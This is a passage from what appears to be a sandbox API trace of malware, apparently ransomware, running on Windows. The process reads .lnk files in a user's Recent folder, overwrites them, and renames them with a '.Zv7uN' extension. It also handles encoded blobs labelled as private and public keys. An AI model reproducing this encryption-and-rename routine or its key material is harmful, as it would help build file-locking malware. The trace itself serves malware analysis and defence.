(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vctdac7wdvfxK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vctdac7wdvfxk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.417] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1479, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1479, lpOverlapped=0x0) returned 1 [0084.431] CloseHandle (hObject=0x124) returned 1 [0084.433] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vctdac7wdvfxK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vctdac7wdvfxk.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vctdac7wdvfxK.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vctdac7wdvfxk.lnk.zv7un")) returned 1 [0084.434] GetCurrentThreadId () returned 0xa30 [0084.435] GetCurrentThreadId () returned 0xa30 [0084.435] GetCurrentThreadId () returned 0xa30 [0084.435] GetCurrentThreadId () returned 0xa30 [0084.435] GetCurrentThreadId () returned 0xa30 [0084.435] GetCurrentThreadId () returned 0xa30 [0084.435] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2546d80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2546d80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2546d80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a79, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="VnMkxHGllRW.lnk", cAlternateFileName="VNMKXH~1.LNK")) returned 1 [0084.435] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.435] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.435] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VnMkxHGllRW.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vnmkxhgllrw.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2546d80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2546d80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2546d80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a79)) returned 1 [0084.435] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VnMkxHGllRW.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vnmkxhgllrw.lnk")) returned 0x20 [0084.435] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VnMkxHGllRW.lnk", dwFileAttributes=0x80) returned 1 [0084.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.438] GetCurrentThreadId () returned 0xa30 [0084.438] GetCurrentThreadId () returned 0xa30 [0084.439] GetCurrentThreadId () returned 0xa30 [0084.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.439] GetCurrentThreadId () returned 0xa30 [0084.439] GetCurrentThreadId () returned 0xa30 [0084.440] GetCurrentThreadId () returned 0xa30 [0084.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VnMkxHGllRW.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vnmkxhgllrw.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.440] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.440] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.440] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1a79 [0084.440] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.440] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1a79, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1a79, lpOverlapped=0x0) returned 1 [0084.442] CloseHandle (hObject=0x124) returned 1 [0084.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VnMkxHGllRW.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vnmkxhgllrw.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.444] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1a79, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1a79, lpOverlapped=0x0) returned 1 [0084.446] CloseHandle (hObject=0x124) returned 1 [0084.449] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VnMkxHGllRW.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vnmkxhgllrw.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VnMkxHGllRW.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vnmkxhgllrw.lnk.zv7un")) returned 1 [0084.451] GetCurrentThreadId () returned 0xa30 [0084.451] GetCurrentThreadId () returned 0xa30 [0084.452] GetCurrentThreadId () returned 0xa30 [0084.452] GetCurrentThreadId () returned 0xa30 [0084.452] GetCurrentThreadId () returned 0xa30 [0084.452] GetCurrentThreadId () returned 0xa30 [0084.452] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d62c780, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d62c780, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d62c780, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x19c5, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Vn_LVk.lnk", cAlternateFileName="")) returned 1 [0084.452] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.452] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.452] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vn_LVk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vn_lvk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d62c780, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d62c780, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d62c780, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x19c5)) returned 1 [0084.452] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vn_LVk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vn_lvk.lnk")) returned 0x20 [0084.452] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vn_LVk.lnk", dwFileAttributes=0x80) returned 1 [0084.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 